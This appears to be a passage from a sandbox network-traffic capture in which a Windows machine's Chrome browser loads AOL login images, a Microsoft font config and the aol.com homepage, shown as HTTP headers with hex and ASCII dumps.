2024-05-23 22:34:21 UTC	1300	IN	Data Raw: 46 14 c6 ab 4a 4e 43 c9 be c7 0c d6 41 ca b6 31 15 a2 0b 02 91 08 d8 c3 11 7b 52 9f 53 59 c9 19 4b 84 ea 31 4e 2d 95 38 54 32 3a 8c 31 9c be 10 80 40 12 04 5e 3a b5 72 2b bb 6c d2 42 19 47 60 ad ee 96 3c bc 19 a7 26 99 de 41 96 da 8d f7 5d 32 16 fb 36 94 04 de 77 7c 4a b4 2e ca e4 da 39 b8 0f b2 ef 61 a8 8d 4b 25 0e 5e 27 13 43 39 d2 0f 02 10 b8 4c a0 be 5c bd 78 ad 25 0d bb c5 ad c8 c3 00 bb d1 da 44 da 26 d4 41 92 6b 79 23 c7 2c 49 aa 72 75 70 01 bf b6 0b 8c c9 90 10 b8 46 c0 ae 65 76 1d ab ae 35 c8 a8 fe ad 7c f9 30 c4 9f 25 12 07 0b 4c 3d c4 58 fa 40 00 02 c9 11 f0 7c be ff 9c 1c 4d df 06 57 32 ef b3 c4 92 08 8b 7b 2e a5 92 23 39 fa b5 74 7c b6 32 a0 5d da 08 c6 87 c0 13 02 9f b4 be 7e b2 9d fb 6a 2d 07 1f fa 3a b9 44 e2 f0 a6 af 91 b4 87 00 04 92 26 Data Ascii: FJNCA1{RSYK1N-8T2:1@^:r+lBG`<&A]26w\|J.9aK%^'C9L\x%D&Aky#,IrupFev5\|0%L=X@\|MW2{.#9t\|2]~j-:D&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49718	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:21 UTC	599	OUT	GET /wm/login/aol-favicon.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://testing-1g0.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:21 UTC	1050	IN	HTTP/1.1 200 OK x-amz-id-2: x1Zbi19RY5VRYOj1Wh34ldyYWYpmbMBvQE2Xjorol/Wl+RaNftysODYcj3fhSAJZT9sx+EdUcY4= x-amz-request-id: ACGD6DYPVMZVKT3G Date: Mon, 06 May 2024 14:38:34 GMT Last-Modified: Fri, 04 May 2018 04:41:39 GMT ETag: "b12b87cffdae1bc42b921fcf2bd9cf4c" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000; public x-amz-meta-created-date: Thu, 30 Nov 2017 22:26:41 GMT x-amz-meta-mbst-etag: "YM:1:460c7d58-a304-4b5e-b4cc-bb4ea9f291d500055f3abf118f12" x-amz-meta-x-ysws-mbst-vtime: 1512080801894162 Expires: Sat, 04 May 2019 04:41:38 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 706 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1497348 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:21 UTC	706	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 04 03 00 00 00 10 b6 6a 0b 00 00 00 2d 50 4c 54 45 2f 9a ff 2f 9a ff 2f 9a ff 2f 9a ff 2f 9a ff 2f 9a ff 2f 9a ff ff ff ff 48 a6 ff c1 e1 ff 6b b6 ff aa d5 ff 89 c5 ff ee f6 ff db ed ff 4e e7 46 ea 00 00 00 06 74 52 4e 53 01 b4 57 d4 30 da 25 a7 dd 2e 00 00 02 3e 49 44 41 54 58 c3 ed 98 31 4f 02 31 14 c7 4f 63 9c 8d 26 cc ba b8 bb 30 bb e8 27 30 ce 22 52 0f 0e 1d 2d 20 38 1e e7 a0 a3 60 dc f5 1b 48 cc ed 9c 09 71 55 4c 9c c1 a8 f1 33 d8 d7 5e ef 4a 68 a1 6f 71 ba 97 90 5c db f7 eb f5 df d7 f6 78 75 1c 61 1b 6b 64 a6 6d ad 3a aa 2d e6 c8 5c 2b ac 2b fe 79 62 61 c5 94 c8 11 2b 2b 48 ff 1d 62 69 7b c2 7f 89 58 db 36 07 76 ed 81 23 0e ec db 03 25 f0 5f 20 08 5b 61 c0 26 06 38 64 40 1e 03 Data Ascii: PNGIHDR``j-PLTE///////HkNFtRNSW0%.>IDATX1O1Oc&0'0"R- 8`HqUL3^Jhoq\xuakdm:-\++yba++Hbi{X6v#%_ [a&8d@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49719	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:21 UTC	370	OUT	GET /wm/mbr/images/checkbox-unchecked.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:21 UTC	805	IN	HTTP/1.1 200 OK x-amz-id-2: wU4GX8gjpTjA09Y6u4O1rrC4lbyL/nnu1cJBnF57a34+fQ8yRU2OT60P0g7uPx1sk7yIfgYV8Ms5U9lnMPGkgw== x-amz-request-id: ZP7JV3ZTAFWBMPQP Date: Sun, 28 Apr 2024 12:02:08 GMT Last-Modified: Fri, 24 Apr 2020 17:13:52 GMT ETag: "f456007284e4510464d9dfddabd3fb0e" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 733 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2197934 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:21 UTC	733	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 31 36 70 78 22 20 68 65 69 67 68 74 3d 22 31 36 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 53 6b 65 74 63 68 20 35 39 20 28 38 36 31 32 37 29 20 2d 20 68 74 74 70 73 3a 2f 2f 73 6b 65 74 63 68 2e 63 6f 6d 20 2d 2d 3e 0a 20 20 20 20 3c 74 69 74 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg width="16px" height="16px" viewBox="0 0 16 16" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> ... Generator: Sketch 59 (86127) - https://sketch.com --> <tit

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49720	2.19.104.72	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-23 22:34:22 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=236051 Date: Thu, 23 May 2024 22:34:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-23 22:34:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49721	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:22 UTC	700	OUT	GET /wm/login/aol-favicon.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://testing-1g0.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "b12b87cffdae1bc42b921fcf2bd9cf4c" If-Modified-Since: Fri, 04 May 2018 04:41:39 GMT
2024-05-23 22:34:22 UTC	479	IN	HTTP/1.1 304 Not Modified Date: Thu, 23 May 2024 22:34:22 GMT Etag: "b12b87cffdae1bc42b921fcf2bd9cf4c" Expires: Sat, 04 May 2019 04:41:38 GMT Cache-Control: max-age=31536000; public Vary: Origin Connection: close Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49722	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:22 UTC	358	OUT	GET /wm/login/aol-favicon.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:22 UTC	1049	IN	HTTP/1.1 200 OK x-amz-id-2: uQbEUx10uEirMTrPayHou0T9jqtST+vf17VLvFTWzBHBnfEPLjTUQ/RClbiBYSL/0vttof4USLg= x-amz-request-id: CJC69YPYMPPRRSDN Date: Fri, 17 May 2024 11:27:09 GMT Last-Modified: Fri, 04 May 2018 04:41:39 GMT ETag: "b12b87cffdae1bc42b921fcf2bd9cf4c" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000; public x-amz-meta-created-date: Thu, 30 Nov 2017 22:26:41 GMT x-amz-meta-mbst-etag: "YM:1:460c7d58-a304-4b5e-b4cc-bb4ea9f291d500055f3abf118f12" x-amz-meta-x-ysws-mbst-vtime: 1512080801894162 Expires: Sat, 04 May 2019 04:41:38 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 706 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 558434 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:22 UTC	706	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 04 03 00 00 00 10 b6 6a 0b 00 00 00 2d 50 4c 54 45 2f 9a ff 2f 9a ff 2f 9a ff 2f 9a ff 2f 9a ff 2f 9a ff 2f 9a ff ff ff ff 48 a6 ff c1 e1 ff 6b b6 ff aa d5 ff 89 c5 ff ee f6 ff db ed ff 4e e7 46 ea 00 00 00 06 74 52 4e 53 01 b4 57 d4 30 da 25 a7 dd 2e 00 00 02 3e 49 44 41 54 58 c3 ed 98 31 4f 02 31 14 c7 4f 63 9c 8d 26 cc ba b8 bb 30 bb e8 27 30 ce 22 52 0f 0e 1d 2d 20 38 1e e7 a0 a3 60 dc f5 1b 48 cc ed 9c 09 71 55 4c 9c c1 a8 f1 33 d8 d7 5e ef 4a 68 a1 6f 71 ba 97 90 5c db f7 eb f5 df d7 f6 78 75 1c 61 1b 6b 64 a6 6d ad 3a aa 2d e6 c8 5c 2b ac 2b fe 79 62 61 c5 94 c8 11 2b 2b 48 ff 1d 62 69 7b c2 7f 89 58 db 36 07 76 ed 81 23 0e ec db 03 25 f0 5f 20 08 5b 61 c0 26 06 38 64 40 1e 03 Data Ascii: PNGIHDR``j-PLTE///////HkNFtRNSW0%.>IDATX1O1Oc&0'0"R- 8`HqUL3^Jhoq\xuakdm:-\++yba++Hbi{X6v#%_ [a&8d@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49724	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:27 UTC	459	OUT	GET /wm/login/aol-favicon.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "b12b87cffdae1bc42b921fcf2bd9cf4c" If-Modified-Since: Fri, 04 May 2018 04:41:39 GMT
2024-05-23 22:34:27 UTC	479	IN	HTTP/1.1 304 Not Modified Date: Thu, 23 May 2024 22:34:27 GMT Etag: "b12b87cffdae1bc42b921fcf2bd9cf4c" Expires: Sat, 04 May 2019 04:41:38 GMT Cache-Control: max-age=31536000; public Vary: Origin Connection: close Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49727	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:29 UTC	634	OUT	GET / HTTP/1.1 Host: www.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:30 UTC	1241	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:30 GMT Content-Type: text/html; charset=utf-8 Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding content-security-policy: upgrade-insecure-requests; block-all-mixed-content; sandbox allow-modals allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation allow-orientation-lock allow-pointer-lock; cache-control: no-cache, no-store, private, must-revalidate Age: 0 Server: ATS Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; Expires=Sat, 24 May 2025 04:34:30 GMT; Max-Age=31557600; Domain=.aol.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; Expires=Sat, 24 May 2025 04:34:30 GMT; Max-Age=31557600; Domain=.aol.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:34:30 UTC	161	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 31 53 3d 64 3d 41 51 41 42 42 48 62 45 54 32 59 43 45 4d 7a 34 30 33 57 51 4b 63 59 4e 69 49 77 76 72 41 75 70 31 69 4d 46 45 67 45 42 41 51 45 56 55 57 5a 5a 5a 74 77 72 30 69 4d 41 5f 65 4d 41 41 41 26 53 3d 41 51 41 41 41 6c 5a 45 52 58 34 66 77 2d 54 44 66 5a 76 46 35 56 66 55 77 46 67 3b 20 44 6f 6d 61 69 6e 3d 2e 61 6f 6c 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 20 53 65 63 75 72 65 0d 0a 0d 0a Data Ascii: Set-Cookie: A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; Domain=.aol.com; Path=/; SameSite=Lax; Secure
2024-05-23 22:34:30 UTC	239	IN	Data Raw: 36 35 37 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 20 63 68 72 6f 6d 65 20 64 65 73 6b 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 20 26 26 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 27 50 61 67 65 53 74 61 72 74 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d Data Ascii: 6578<!DOCTYPE html><html id="atomic" class="NoJs chrome desktop" lang="en-US"><head prefix="og: http://ogp.me/ns#"><script>window.performance && window.performance.mark && window.performance.mark('PageStart');</script><meta charSet="utf-
2024-05-23 22:34:30 UTC	1300	IN	Data Raw: 38 22 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 4f 4c 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 Data Ascii: 8"/><meta http-equiv="content-type" content="text/html; charset=UTF-8"/><meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"/><meta http-equiv="x-dns-prefetch-control" content="on"/><meta name="author" content="AOL"/><meta name="google-site-verif
2024-05-23 22:34:30 UTC	1300	IN	Data Raw: 3d 22 44 69 73 63 6f 76 65 72 20 74 68 65 20 6c 61 74 65 73 74 20 62 72 65 61 6b 69 6e 67 20 6e 65 77 73 20 69 6e 20 74 68 65 20 55 2e 53 2e 20 61 6e 64 20 61 72 6f 75 6e 64 20 74 68 65 20 77 6f 72 6c 64 20 e2 80 94 20 70 6f 6c 69 74 69 63 73 2c 20 77 65 61 74 68 65 72 2c 20 65 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2c 20 6c 69 66 65 73 74 79 6c 65 2c 20 66 69 6e 61 6e 63 65 2c 20 73 70 6f 72 74 73 20 61 6e 64 20 6d 75 63 68 20 6d 6f 72 65 2e 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 61 6f 6c 66 70 2f 6d 65 74 61 64 61 74 61 2f 6f 67 2d 69 6d 61 67 65 2e 70 6e 67 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 Data Ascii: ="Discover the latest breaking news in the U.S. and around the world politics, weather, entertainment, lifestyle, finance, sports and much more."/><meta name="twitter:image" content="https://s.yimg.com/cv/apiv2/aolfp/metadata/og-image.png"/><meta name
2024-05-23 22:34:30 UTC	1300	IN	Data Raw: 6d 65 74 61 64 61 74 61 2f 6f 67 2d 69 6d 61 67 65 2e 70 6e 67 22 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 41 4f 4c 2e 63 6f 6d 22 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 65 77 73 2c 20 50 6f 6c 69 74 69 63 73 2c 20 53 70 6f 72 74 73 2c 20 4d 61 69 6c 20 26 61 6d 70 3b 20 4c 61 74 65 73 74 20 48 65 61 64 6c 69 6e 65 73 22 2f 3e 3c 6d 65 74 61 20 72 65 6c 3d 22 70 75 62 6c 69 73 68 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 31 31 35 37 37 31 39 30 38 37 38 38 34 33 38 34 33 36 36 34 37 22 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 22 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 Data Ascii: metadata/og-image.png"/><meta property="og:site_name" content="AOL.com"/><meta property="og:title" content="News, Politics, Sports, Mail & Latest Headlines"/><meta rel="publisher" content="115771908788438436647"/><link href="//s.yimg.com" rel="dns-pre
2024-05-23 22:34:30 UTC	1300	IN	Data Raw: 7a 65 73 3d 22 36 30 78 36 30 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 61 6f 6c 66 70 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 36 30 78 36 30 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 32 78 37 32 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 61 6f 6c 66 70 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 37 32 78 37 32 2e 70 6e 67 22 Data Ascii: zes="60x60" type="image/png" href="https://s.yimg.com/cv/apiv2/aolfp/images/favicon/apple-touch-icon-60x60.png"/><link rel="apple-touch-icon" sizes="72x72" type="image/png" href="https://s.yimg.com/cv/apiv2/aolfp/images/favicon/apple-touch-icon-72x72.png"
2024-05-23 22:34:30 UTC	1300	IN	Data Raw: 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 61 6f 6c 66 70 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2f 66 61 76 69 63 6f 6e 2d 33 32 78 33 32 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 61 6f 6c 66 70 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2f 66 61 76 69 63 6f 6e 2d 39 36 78 39 36 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 Data Ascii: "image/png" href="https://s.yimg.com/cv/apiv2/aolfp/images/favicon/favicon-32x32.png"/><link rel="icon" sizes="96x96" type="image/png" href="https://s.yimg.com/cv/apiv2/aolfp/images/favicon/favicon-96x96.png"/><link rel="icon" type="image/x-icon" href="ht
2024-05-23 22:34:30 UTC	1300	IN	Data Raw: 73 70 65 63 69 61 6c 5f 65 76 65 6e 74 2e 32 62 32 37 39 33 35 33 62 39 35 36 33 64 30 61 2e 63 73 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 63 61 61 73 2d 61 73 73 65 74 73 2d 70 72 6f 64 75 63 74 69 6f 6e 2f 61 73 73 65 74 73 2f 76 31 2f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 62 61 6e 6e 65 72 2e 61 65 34 38 63 34 65 35 39 64 38 33 61 39 35 31 2e 63 73 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 63 61 61 73 2d 61 73 73 65 74 73 2d 70 72 6f 64 75 63 74 69 6f 6e 2f 61 73 73 65 74 73 2f 76 31 2f 64 6c 2e 38 33 61 38 38 61 Data Ascii: special_event.2b279353b9563d0a.css"/><link rel="stylesheet" 